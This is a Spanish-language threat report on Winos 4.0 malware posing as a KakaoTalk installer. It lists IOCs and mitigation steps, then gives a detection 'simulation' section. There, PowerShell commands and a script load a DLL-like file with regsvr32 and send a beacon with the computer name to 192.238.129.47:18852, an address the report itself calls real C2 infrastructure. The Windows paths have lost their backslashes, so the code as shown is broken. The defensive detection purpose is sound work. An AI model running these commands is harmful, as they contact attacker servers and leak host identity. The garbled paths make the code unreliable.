El malware Winos 4.0 se hace pasar por un instalador de KakaoTalk

Resumen

Los atacantes abusaron del envenenamiento de SEO para empujar un instalador falso de KakaoTalk a la cima de los resultados de búsqueda. El instalador contenía un certificado de firma de código inválido e incorporaba un paquete NSIS que desempacaba archivos maliciosos, incluyendo Verifier.exe y AutoRecoverDat.dll. Una vez ejecutado, el malware lograba persistencia a través del registro de DLL, tareas programadas y un mutex, luego se conectaba a dos servidores C2 separados. Sus capacidades incluían captura de pantalla, perfilado del sistema y ejecución en memoria de cargas útiles adicionales.

Investigación

El Centro de Inteligencia de Seguridad de AhnLab reportó más de 5,000 PCs comprometidas después de que la campaña comenzara el 9 de marzo. El análisis mostró que las cargas útiles encriptadas de NSIS se desencriptan y dejan caer Verifier.exe y AutoRecoverDat.dll, crean un mutex y cargan shellcode de archivos GPUCache.xml. Dependiendo de la rama del shellcode, el malware contactaba la infraestructura C2 en 192.238.129.47 o 119.28.70.225. La persistencia se mantenía a través del registro de DLL y tareas programadas que lanzaban ya sea Verifier.exe o rundll32 con la DLL maliciosa.

Mitigación

Las organizaciones deben bloquear los dominios y URLs de descarga maliciosos asociados con la campaña. Implementar validación estricta de firma de código y prevenir la ejecución de binarios con certificados inválidos. Se debe usar una lista blanca de aplicaciones para bloquear la ejecución de instaladores NSIS desconocidos. También se deben monitorear el mutex específico, las tareas programadas sospechosas y los cambios en el registro detallados en el informe.

Respuesta

Los equipos de detección deben alertar sobre la creación del mutex 77825d8f-46d1-42d0-b298-83068bf9e31d y las tareas programadas bajo MicrosoftWindowsAppID. Buscar Verifier.exe y AutoRecoverDat.dll en directorios del perfil de usuario y bloquear el tráfico saliente hacia las IPs y puertos C2 conocidos. Realizar una revisión forense de los sistemas afectados y eliminar completamente todos los artefactos de persistencia y componentes maliciosos.

Ejecución de Simulación

Prerrequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa deben reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa y Comandos de Ataque:

  El adversario ya ha colocado DLLs maliciosas dentro del %LOCALAPPDATA%MicrosoftWindowsGPUCache directorio, disfrazándolas como archivos de caché legítimos. Para ejecutar la carga útil, el atacante utiliza Regsvr32 (T1218.012) para cargar el DLL, luego usa el componente cargado para iniciar la comunicación C2 sobre el puerto TCP 18852 (o el puerto HTTPS 443) al servidor codificado en 192.238.129.47. Este flujo de red es el indicador observable que la regla Sigma monitorea.

  1. Cargar DLL malicioso vía Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Iniciar baliza C2 (el DLL malicioso abre un socket TCP al servidor C2). Para pruebas, emulamos la baliza con un cliente TCP de PowerShell simple que se conecta a la misma IP/puerto.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Script de Prueba de Regresión: El siguiente script reproduce los pasos arriba mencionados de principio a fin y generará la telemetría de red exacta que la regla Sigma espera.

  # -------------------------------------------------
  # Simulación de C2 Winos4.0 – activa la regla Sigma
  # -------------------------------------------------
  # 1. Cargar el DLL malicioso (simulado) vía Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Registrando DLL malicioso vía Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] No se encontró DLL simulado en $dllPath – abortando."
      exit 1
  }
  
  # 2. Emular baliza C2 al IP/puerto codificado
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Estableciendo conexión TCP a $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Baliza desde $env:COMPUTERNAME a $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Baliza enviada."
  } catch {
      Write-Error "[-] Falló la conexión: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Comandos de Limpieza: Eliminar cualquier artefacto temporal y cerrar conexiones restantes.

  # Remover el DLL malicioso simulado (si era un artefacto de prueba)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Limpieza del DLL simulado."
  }
  
  # Asegurarse de que no queden oyentes TCP huérfanos (improbable solo para el lado del cliente)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # No se necesita acción; las conexiones están cerradas en el script.
  }